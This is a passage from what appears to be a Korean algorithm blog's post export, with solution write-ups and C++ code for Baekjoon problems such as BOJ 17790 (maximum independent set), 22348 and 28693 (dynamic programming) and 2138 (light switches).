10을 고르고, 이때 기댓값은 11이다. 마지막 9를 고르기 위해 3번 반려해버리면 오히려 기댓값이 12이므로, 그러면 안된다! 따라서 내림차순으로 정렬한뒤 인덱스를 더해서 정리해보자. 예제 3번의 그림 💻 풀이 코드 (C++): int calc(int cur, int turn){ if(DP[cur][turn] != -1) return DP[cur][turn]; int \u0026amp;ret = DP[cur][turn]; ret = 1e9; if(turn == 0){ // 준표의 턴 for(auto nxt: links[cur]) ret = min(ret, calc(nxt, 1)); return ret; } else{ // 만영이의 턴 vector\u0026lt;int\u0026gt; v; for(auto nxt: links[cur]) v.push_back(calc(nxt, 0)); sort(all(v), greater\u0026lt;int\u0026gt;()); rep(i, 0, v.size()) ret = min(ret, v[i] + i); return ret; } } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; E; rep(i, 0, E){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); inDeg[v]++; } rep(i, 0, N+1) DP[i][0] = DP[i][1] = -1; DP[N][0] = 1e9; DP[N][1] = 0; int ans = 1e9; rep(i, 1, N+1) if(inDeg[i] == 0) ans = min(ans, calc(i, 1)); if(ans == 1e9) cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; else cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-17227-%EA%B7%B8%EB%9E%98%EC%84%9C-%ED%8C%A9-%EC%A3%BC%EB%83%90/","title":"BOJ 17227 그래서 팩 주냐?"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/17790 번역 문제 무방향 단순 그래프 G = (V, E)에 대해, V\u0026rsquo; ⊆ V인 부분집합 V\u0026rsquo;를 독립 집합(independent set)이라고 부르는 것은 V\u0026rsquo;의 어떤 두 원소도 간선으로 연결되어 있지 않을 때입니다. G의 독립 집합을 최대 독립 집합(maximum independent set)이라고 부르는 것은 G에 그보다 엄격하게 더 많은 정점을 가진 독립 집합이 없을 때입니다. 특정한 종류의 연결된 그래프 G가 주어졌을 때, G의 최대 독립 집합의 크기를 구하세요.\n입력 입력은 한 줄로 시작하며, 정수 n (1 ≤ n ≤ 100), 그래프의 정점 개수, 그리고 m (n − 1 ≤ m ≤ n + 15), 그래프의 간선 개수를 포함합니다. 그 다음 m개의 줄이 이어지며, 각 줄은 정수 a, b (1 ≤ a, b ≤ n)를 포함하여 정점 a와 b 사이에 간선이 있음을 나타냅니다. 이 입력으로 주어지는 그래프는 단순하고 연결되어 있음이 보장됩니다: 각 정점 쌍 사이에 최대 하나의 간선이 있고, 루프가 없으며, 각 정점 쌍 사이에 경로가 존재합니다.\n출력 입력 그래프의 최대 독립 집합에 포함된 정점의 개수를 출력합니다. 🧐 관찰 및 접근 이분 그래프라면 쾨닉의 정리로 딸깍인데 ㅋㅋ 같은 느낌으로, 결국 최소 정점 커버를 구하는 것과 같다. 간선이 생각보다 적은게 힌트인가..? 그래프는 하나의 컴포넌트로 연결되어있고, 간선의 개수는 트리딱뎀 ~ 트리딱뎀 + 16이다. 트리에서 최대 독립집합은 어떻게 풀지? 이건 트리 DP로 되는거같다. 본인을 최대 독립집합에 포함시켰을때 / 포함시키지 않았을때의 맛으로. 간선이 트리 + 1개, 즉 $N$개 있다면? 트리랑 비슷하지만, 적어도 두개중에 하나는 안쓰는걸로 고정해야한다. (둘다 쓸순 없으니까) 그러면 양쪽을 고정해본상태로 각각 풀면, 두번 풀면 되겠는데? 간선이 트리 + 16개라면? 위와 같은 아이디어로 $2^{16}$번 하면 되지 않을까? 💻 풀이 코드 (C++): int N, M; vector\u0026lt;int\u0026gt; links[101], childs[101]; vector\u0026lt;pii\u0026gt; backEdges; bool visited[101]; void dfs(int c, int p){ visited[c] = true; for(auto n: links[c]){ if(n == p) continue; if(visited[n]){ if(c \u0026lt; n) backEdges.push_back({c, n}); } else{ childs[c].push_back(n); dfs(n, c); } } } bool prohibit[101]; int DP[101][2]; int dfs2(int c, bool used){ if(used \u0026amp;\u0026amp; prohibit[c]) return -1e5; if(DP[c][used] != -1) return DP[c][used]; int\u0026amp; ret = DP[c][used]; ret = 0; for(auto n: childs[c]){ if(used) ret += dfs2(n, false); else ret += max(dfs2(n, false), dfs2(n, true)); } if(used) ret++; return ret; } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, M){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } dfs(1, -1); int sz = backEdges.size(); int ans = 0; rep(i, 0, 1 \u0026lt;\u0026lt; sz){ rep(j, 0, 101) prohibit[j] = false; rep(j, 0, sz){ if(i \u0026amp; (1 \u0026lt;\u0026lt; j)) prohibit[backEdges[j].first] = true; else prohibit[backEdges[j].second] = true; } rep(j, 0, 101) rep(k, 0, 2) DP[j][k] = -1; ans = max(ans, max(dfs2(1, false), dfs2(1, true))); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-17790-inquiry-ii/","title":"BOJ 17790 Inquiry II"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/19545 🧐 관찰 및 접근 위쪽동네 소가 $N$마리, 아래쪽 소가 $1$마리라고 해보자. 그러면 연결 방법은 유일하다. 아래 헛간에 모든 위쪽 헛간을 연결해야한다. 아래쪽 소가 $2$마리라고 해보자. 위쪽 동네의 소를 $U_1, U_2, \\cdots, U_k$를 헛간 $D_1$에, $U_{k+1}, \\cdots U_N$을 $D_2$에 연결해야 한다. 따라서, 다음과 같은 식을 생각해보자. $\\text{DP}[i][j]$: 위쪽 동네 소를 $i$마리, 아래쪽 동네 소를 $j$마리를 딱 매칭시켯을때 최솟값 $\\text{DP}[i][j] = min_{k \u003c j}(DP[k][j-1] + \\text{Cost}[k+1][i][j])$ 위와 같은 느낌의 식이 성립할 것 같은데, Cost를 구하는것도, DP식을 구하는것도 쉽지 않아보인다. 하 이 식이 뭔가 위 / 아래쪽에 대해 대칭인게 의미심장한데\u0026hellip; 아 스읍 이게 까다롭네.. 생각해보면, 어떤 간선을 연결했을때, 왼쪽/오른쪽에 남는 개수를 곱한만큼 에 그 경로의 길이를 곱한게 전체에 더해지는데 흠 아니근데 약간 그리디하게 안되나? 위랑 아래랑 같은 좌표인게 있으면 이게 무조건 잇는게 이득이 아니라고? 왜지? 경로가 길어질수가 있나? 그림을 열심히 그리다보니, 결국 간선은 두가지로 나뉜다. Type 1: 반대쪽 정점에 간선이 3개 이상 있고 그 중간에 있어서 해당 간선의 거리에 $N+M-1$이 곱해진다. Type 2: 반대쪽 정점의 가장자리 간선이라서, 해당 간선이 $i - j$를 잇는다면 $(i+j-1)(N+M-(i+j-1))$이 곱해진다. 그러면 각 $\\text{DP}[i][j]$에 대해 마지막 친구에 대해 위에 몇개, 아래 몇개 들어있는지를 관리할 수 있지 않을까? 0개일 수는 없고, 1개면 Type1이 되고, 2개 이상이면 원래 간선을 Type2로 처리하고 Type 1을 붙이는 꼴로 될거같은딩 💻 풀이 코드 (C++): ll type1(int i, int j){ return dist(i, j) * (N + M - 1); } ll type2(int i, int j){ return dist(i, j) * (i + j + 1) * (N + M - i - j - 1); } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; L; rep(i, 0, N) cin \u0026gt;\u0026gt; U[i]; rep(i, 0, M) cin \u0026gt;\u0026gt; D[i]; rep(i, 0, N) rep(j, 0, M) rep(k, 0, 2) rep(l, 0, 2) DP[i][j][k][l] = 1e18; DP[0][0][0][0] = type2(0, 0); rep(i, 0, N) rep(j, 0, M) rep(k, 0, 2) rep(l, 0, 2){ // 아래 헛간에 새로운 위 헛간 붙이기 ll \u0026amp;cur = DP[i][j][k][l]; if(i+1 \u0026lt; N){ ll \u0026amp;ret = DP[i+1][j][0][1]; if(l == 0) ret = min(ret, cur + type2(i+1, j)); else ret = min(ret, cur - type2(i, j) + type1(i, j) + type2(i+1, j)); } // 위 헛간에 새로운 아래 헛간 붙이기 if(j+1 \u0026lt; M){ ll \u0026amp;ret = DP[i][j+1][1][0]; if(k == 0) ret = min(ret, cur + type2(i, j+1)); else ret = min(ret, cur - type2(i, j) + type1(i, j) + type2(i, j+1)); } } ll ans = 1e18; rep(k, 0, 2) rep(l, 0, 2) ans = min(ans, DP[N-1][M-1][k][l]); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-19545-%EC%86%8C%EA%B0%80-%EA%B8%B8%EC%9D%84-%EA%B1%B4%EB%84%88%EA%B0%84-%EC%9D%B4%EC%9C%A0-2020/","title":"BOJ 19545 소가 길을 건너간 이유 2020"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/22348 🧐 관찰 및 접근 안에서부터 각 동심원에 대해 다음과 같은 DP식을 생각해보자. $\\text{DP}[i][j]$: $i$번째 동심원까지 그렸을 때 $j$통의 빨강 페인트를 쓰는 경우의 수 그러면 파란 페인트는 $\\sum\\limits_{k = 1}^i k - j$ 통 필요하다. 이게 $b$이하면 여유롭게 된다! 시간복잡도는.. $a+b \\leq 100000$이므로 500번 안쪽으로 끝날거고, 그에 맞춰 나이브하게 구하면 업데이트에 5만번, 합을 구하는데 5만번이니\u0026hellip; 500 * 50000 = 25'000'000번? 근데 테케가 10000개라는 이슈가 있다\u0026hellip; 이걸 더 줄여야만 해 아하, 다시 보니까 DP식은 안바뀐다. 그러면 그냥 $500 * 50000$ 테이블을 만들어놓고, 누적합을 이용해서 한번에 구하자. 💻 풀이 코드 (C++): void solve(){ vector\u0026lt;vector\u0026lt;mint\u0026gt;\u0026gt; DP(501, vector\u0026lt;mint\u0026gt;(50001, 0)), pfSum(501, vector\u0026lt;mint\u0026gt;(50002, 0)); DP[0][0] = 1; rep(i, 1, 501) rep(j, 0, 50001) DP[i][j] = DP[i-1][j] + (j \u0026gt;= i ? DP[i-1][j-i] : 0); rep(i, 0, 501) rep(j, 0, 50001) pfSum[i][j+1] = pfSum[i][j] + DP[i][j]; int tc; cin \u0026gt;\u0026gt; tc; while(tc--){ ll a, b; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; ll sum = 0; mint ans = 0; rep(i, 1, 501){ sum += i; if(sum \u0026gt; a + b) break; ans += pfSum[i][min(a, sum) + 1] - pfSum[i][max(0LL, sum - b)]; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-22348-%ED%97%AC%EA%B8%B0-%EC%B0%A9%EB%A5%99%EC%9E%A5/","title":"BOJ 22348 헬기 착륙장"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/28693 🧐 관찰 및 접근 문제 상황을 잘 생각해보자. $N$종류의 카드 $2N$개가 있다고 하자. 처음에 고른 두 카드가 같은 쌍이라면, $N-1$ 종류의 카드 $2(N-1)$개가 있는 문제로 바꿀 수 있다. 이 확률은 $\\frac{1}{2N-1}$이다. 처음에 고른 두 카드가 다른 쌍이라면, 2번의 기회를 더 써서 (총 3번의 기회로) $N-2$종류의 카드 $2(N-2)$개가 있는 문제로 바꿀 수 있다. 이 확률은 $\\frac{2N-2}{2N-1}$이다. \u0026hellip;인줄 알았는데 아니다! 생각해보니 $N \\geq 3$일때 두개를 깐다고 해서 나머지의 위치를 모른다.. 그렇다면 DP식을 새롭게 세워보자. $DP[N][K]$ : $N$ 쌍의 안깐 카드, $K$종의 위치를 아는 카드가 있을 때의 기댓값 언제나 안깐 카드를 먼저 까는게 최적인데, 그렇다면 $\\frac{K}{2N+K}$의 확률로 이미 위치를 아는 카드를 발견하거나 $\\frac{2N}{2N+K}$의 확률로 안깐카드를 발견하는데, 이때 $\\frac{1}{2N+K-1}$의 확률로 한방에 맞추거나 $\\frac{K}{2N+K-1}$의 확률로 원래 알던 쌍이 나와서, 다음 턴에 그걸 맞추거나 $\\frac{2N-2}{2N+K-1}$의 확률로 새로운 쌍이 나와서 $K$가 2 늘어나거나 와 같은 식으로 정리된다. 💻 풀이 코드 (C++): mint calc(int N, int K){ // $DP[N][K]$ : $N$ 쌍의 안깐 카드, $K$종의 위치를 아는 카드가 있을 때의 기댓값 if(N \u0026lt; 0 || K \u0026lt; 0) return 0; if(N == 0) return mint(K); if(visited[N][K]) return DP[N][K]; visited[N][K] = true; mint res = 0; // 위치를 아는 카드를 뽑는 경우 res += (mint(K) / mint(2*N+K)) * (calc(N, K-1) + 1); // 위치를 모르는 카드를 뽑는 경우 // 두번째 카드가 첫번째 뽑은 카드와 맞는 경우 res += (mint(2*N) / mint(2*N+K)) * (mint(1) / mint(2*N+K-1)) * (calc(N-1, K) + 1); // 두번째 카드가 이미 위치를 아는 카드와 맞는 경우 res += (mint(2*N) / mint(2*N+K)) * (mint(K) / mint(2*N+K-1)) * (calc(N-1, K) + 2); // 두번째 카드가 아예 새로운 카드일 경우 res += (mint(2*N) / mint(2*N+K)) * (mint(2*N-2) / mint(2*N+K-1)) * (calc(N-2, K+2) + 1); return DP[N][K] = res; } void solve(){ int N; cin \u0026gt;\u0026gt; N; cout \u0026lt;\u0026lt; calc(N, 0); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-12T00:00:00Z","permalink":"/posts/algorithm/ps/260212_algorithm_boj-28693-%EC%9E%AC%EC%9A%B0%EC%9D%98-%EC%B9%B4%EB%93%9C%EA%B9%A1/","title":"BOJ 28693 재우의 카드깡"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11000 🧐 관찰 및 접근 각 강의를 선분이라고 생각하면, 선분이 가장 많이 겹쳐진 타이밍이 가장 많은 강의실을 필요로 하는 타이밍일 것이다. 스위핑을 사용해서 이를 계산하자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;pair\u0026lt;int, bool\u0026gt;\u0026gt; events; // {time, isStart} rep(i, 0, N){ events.push_back({s, true}); events.push_back({e, false}); } sort(all(events)); int ans = 0, cnt = 0; for(auto [time, isStart]: events){ if(isStart) cnt++; else cnt--; ans = max(ans, cnt); } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-11000-%EA%B0%95%EC%9D%98%EC%8B%A4-%EB%B0%B0%EC%A0%95/","title":"BOJ 11000 강의실 배정"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11066 🧐 관찰 및 접근 파일 $C_i, C_{i+1}, \\cdots, C_{j}$를 합치고 싶다고 하자. 이때, 해당 값은 $\\text{DP}[i][j] = min_{i \\leq k \u003c j}(\\text{DP}[i][k] + \\text{DP}[k+1][j])$이 성립한다. 이는 $O(N^3)$이므로 충분히 돈다. 이런 문제는 top-down 재귀 DP로 구현하면 조금 더 편하게 짤 수 있다. TMI) 크누스 최적화를 이용해 더 빠르게도 풀 수 있다! 💻 풀이 코드 (C++): ll calc(int L, int R){ if(L == R) return 0; ll \u0026amp;ret = DP[L][R]; if(ret != -1) return ret; ret = LLONG_MAX; rep(k, L, R) ret = min(ret, calc(L, k) + calc(k+1, R) + (pfsum[R] - pfsum[L-1])); return ret; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 1, N+1) cin \u0026gt;\u0026gt; C[i]; rep(i, 1, N+1) pfsum[i] = pfsum[i-1] + C[i]; rep(i, 1, N+1) rep(j, 1, N+1) DP[i][j] = -1; cout \u0026lt;\u0026lt; calc(1, N) \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-11066-%ED%8C%8C%EC%9D%BC-%ED%95%A9%EC%B9%98%EA%B8%B0/","title":"BOJ 11066 파일 합치기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1149 🧐 관찰 및 접근 현재 집 $i$번의 색을 선택하기 위해 알아야 하는 정보는 $i-1$번째 집의 색이다. 따라서 $\\text{DP}[i][j]$를 $i$번째 칠했을 때, 집의 색이 $j$인 경우 (빨, 초, 파)로 정의하면 점화식은 다음과 같다. $\\text{DP}[i][j] = min_{c \\neq j}{\\text{DP}[i-1][c] +\\text{cost}[i][j]}$ 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N) rep(j, 0, 3) cin \u0026gt;\u0026gt; cost[i][j]; rep(i, 1, N+1) rep(j, 0, 3) DP[i][j] = 1e18; rep(i, 0, N) rep(cur, 0, 3) rep(nxt, 0, 3) if(cur != nxt) DP[i+1][nxt] = min(DP[i+1][nxt], DP[i][cur] + cost[i][nxt]); cout \u0026lt;\u0026lt; min({DP[N][0], DP[N][1], DP[N][2]}); } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-1149-rgb%EA%B1%B0%EB%A6%AC/","title":"BOJ 1149 RGB거리"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14464 🧐 관찰 및 접근 소에 대해서는 끝나는 시간이 가장 빠른 소를, 닭에 대해서는 가장 $T$가 빨리 오는 닭을 쓰는 그리디가 성립한다. 이를 구현하는 방법은 여러가지가 있겠지만, 여기서는 multiset과 이분탐색을 이용하겠다. 💻 풀이 코드 (C++): void solve(){ int C, N; cin \u0026gt;\u0026gt; C \u0026gt;\u0026gt; N; multiset\u0026lt;int\u0026gt; chicken; rep(i, 0, C){ int x; cin \u0026gt;\u0026gt; x; chicken.insert(x); } vector\u0026lt;pii\u0026gt; cow(N); rep(i, 0, N) cin \u0026gt;\u0026gt; cow[i].first \u0026gt;\u0026gt; cow[i].second; sort(all(cow), [](pii a, pii b){ return a.second \u0026lt; b.second; }); int ans = 0; for(auto [s, e]: cow){ auto it = chicken.lower_bound(s); if(it != chicken.end() \u0026amp;\u0026amp; *it \u0026lt;= e){ ans++; chicken.erase(it); } } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-14464-%EC%86%8C%EA%B0%80-%EA%B8%B8%EC%9D%84-%EA%B1%B4%EB%84%88%EA%B0%84-%EC%9D%B4%EC%9C%A0-4/","title":"BOJ 14464 소가 길을 건너간 이유 4"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14939 🧐 관찰 및 접근 맨 윗줄을 어찌저찌 일처리를 끝냈다고 가정하자. 두번째 줄부터, 그 윗줄의 남은 전구를 끄는 방법은 해당 칸 아래의 스위치를 컨트롤 하는 방법이 유일하다. 이를 사용하면 맨 윗줄을 처리할 수 있는 방법 $= 2^{10} = 1024$가지에 대해 해볼 수 있고, 시뮬레이션은 $100 \\times 100 = 10000$번으로 충분히 시간 내로 들어온다. 맨 아랫줄에 켜진 전구가 남아있으면 안됨에 유의한다. 💻 풀이 코드 (C++): void solve(){ vector\u0026lt;string\u0026gt; board(10); rep(i, 0, 10) cin \u0026gt;\u0026gt; board[i]; int answer = 1e9; rep(bit, 0, 1\u0026lt;\u0026lt;10){ vector\u0026lt;string\u0026gt; cboard = board; int cnt = 0; auto press = [\u0026amp;](int r, int c){ cnt++; cboard[r][c] = (cboard[r][c] == \u0026#39;O\u0026#39; ? \u0026#39;X\u0026#39; : \u0026#39;O\u0026#39;); if(r \u0026gt; 0) cboard[r-1][c] = (cboard[r-1][c] == \u0026#39;O\u0026#39; ? \u0026#39;X\u0026#39; : \u0026#39;O\u0026#39;); if(r \u0026lt; 9) cboard[r+1][c] = (cboard[r+1][c] == \u0026#39;O\u0026#39; ? \u0026#39;X\u0026#39; : \u0026#39;O\u0026#39;); if(c \u0026gt; 0) cboard[r][c-1] = (cboard[r][c-1] == \u0026#39;O\u0026#39; ? \u0026#39;X\u0026#39; : \u0026#39;O\u0026#39;); if(c \u0026lt; 9) cboard[r][c+1] = (cboard[r][c+1] == \u0026#39;O\u0026#39; ? \u0026#39;X\u0026#39; : \u0026#39;O\u0026#39;); }; rep(c, 0, 10) if(bit \u0026amp; (1 \u0026lt;\u0026lt; c)) press(0, c); rep(r, 1, 10) rep(c, 0, 10) if(cboard[r-1][c] == \u0026#39;O\u0026#39;) press(r, c); bool ok = true; rep(c, 0, 10) if(cboard[9][c] == \u0026#39;O\u0026#39;) ok = false; if(ok) answer = min(answer, cnt); } if(answer == 1e9) cout \u0026lt;\u0026lt; -1 \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; else cout \u0026lt;\u0026lt; answer \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-14939-%EB%B6%88-%EB%81%84%EA%B8%B0/","title":"BOJ 14939 불 끄기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2138 🧐 관찰 및 접근 첫번째 / 마지막 전구를 제외하고는, 그리디하게 끄는 규칙이 가능하다. 첫번째 전구를 건드린 경우 / 안건드린 경우 두가지에 대해, 그리디하게 끄고 전체를 끌 수 있는지 확인하자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; string S, T; cin \u0026gt;\u0026gt; S \u0026gt;\u0026gt; T; string ret = \u0026#34;\u0026#34;; rep(i, 0, N) ret += (S[i] == T[i] ? \u0026#34;0\u0026#34; : \u0026#34;1\u0026#34;); int ans = 1e9; // don\u0026#39;t flip first string tmp = ret; int cnt = 0; rep(i, 1, N){ if(tmp[i-1] == \u0026#39;1\u0026#39;){ cnt++; tmp[i-1] = (tmp[i-1] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); tmp[i] = (tmp[i] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); if(i+1 \u0026lt; N) tmp[i+1] = (tmp[i+1] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); } } if(tmp[N-1] == \u0026#39;0\u0026#39;) ans = min(ans, cnt); // flip first tmp = ret; cnt = 1; tmp[0] = (tmp[0] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); tmp[1] = (tmp[1] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); rep(i, 1, N){ if(tmp[i-1] == \u0026#39;1\u0026#39;){ cnt++; tmp[i-1] = (tmp[i-1] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); tmp[i] = (tmp[i] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); if(i+1 \u0026lt; N) tmp[i+1] = (tmp[i+1] == \u0026#39;1\u0026#39; ? \u0026#39;0\u0026#39; : \u0026#39;1\u0026#39;); } } if(tmp[N-1] == \u0026#39;0\u0026#39;) ans = min(ans, cnt); if(ans == 1e9) ans = -1; cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-2138-%EC%A0%84%EA%B5%AC%EC%99%80-%EC%8A%A4%EC%9C%84%EC%B9%98/","title":"BOJ 2138 전구와 스위치"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2437 🧐 관찰 및 접근 $1, 2, 4, 8, 16, \\cdots$의 추로 모든 양의 정수를 측정할 수 있음이 자명하다. 이 이유를 살펴보면, $X$라는 무게의 추가 있을때, $X-1$까지의 모든 정수를 표현할 수 없다면 표현할 수 있는 최대치 + 1이 답이 된다. 추를 작은것부터 정렬해서, 빠지는 수 없이 무슨 양의 정수까지 최대한 잴 수 있는지 확인하자. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;ll\u0026gt; v(N); rep(i, 0, N) cin \u0026gt;\u0026gt; v[i]; sort(all(v)); ll sum = 0; rep(i, 0, N){ if(v[i] \u0026gt; sum + 1){ cout \u0026lt;\u0026lt; sum + 1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; return; } sum += v[i]; } cout \u0026lt;\u0026lt; sum + 1 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-2437-%EC%A0%80%EC%9A%B8/","title":"BOJ 2437 저울"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/31740 🧐 관찰 및 접근 문제에서 주어진 그래프는 트리로 보인다. 트리에서는 모든 간선이 단절선이므로 하나만 잘라도 두 컴포넌트로 나뉘는것이 자명하다. 간선을 하나 자르고 나면 서브트리 하나와 나머지 부분으로 나뉜다. 서브트리의 가중치는 트리DP를 활용해 미리 계산해둘 수 있고, 나머지 부분은 전체 가중치 합에서 해당 서브트리의 가중치 합만큼을 빼면 된다. $O(N)$에 계산 가능해보인다. 💻 풀이 코드 (C++): int dfs(int c, int p){ par[c] = p; DP[c] = W[c]; for(auto nxt : links[c]){ if(nxt == p) continue; DP[c] += dfs(nxt, c); } return DP[c]; } void solve(){ cin \u0026gt;\u0026gt; N; rep(i, 0, N-1){ int u, v; cin \u0026gt;\u0026gt; u \u0026gt;\u0026gt; v; links[u].push_back(v); links[v].push_back(u); } rep(i, 1, N+1) cin \u0026gt;\u0026gt; W[i]; int SUM = dfs(1, -1); int ans = 2e9; pii ans2 = {-1, -1}; rep(i, 2, N+1) if(ans \u0026gt; abs(DP[i] - (SUM - DP[i]))){ ans = abs(DP[i] - (SUM - DP[i])); ans2 = {i, par[i]}; } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; cout \u0026lt;\u0026lt; ans2.first \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; ans2.second \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-11T00:00:00Z","permalink":"/posts/algorithm/ps/260211_algorithm_boj-31740-split-the-sshs-3/","title":"BOJ 31740 Split the SSHS 3"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/1300 🧐 관찰 및 접근 나이브하게 계산한다면, 정수가 $10^{10}$개 있으니 아무것도 안된다. 심지어 저장도 불가능하다. 어떤 수 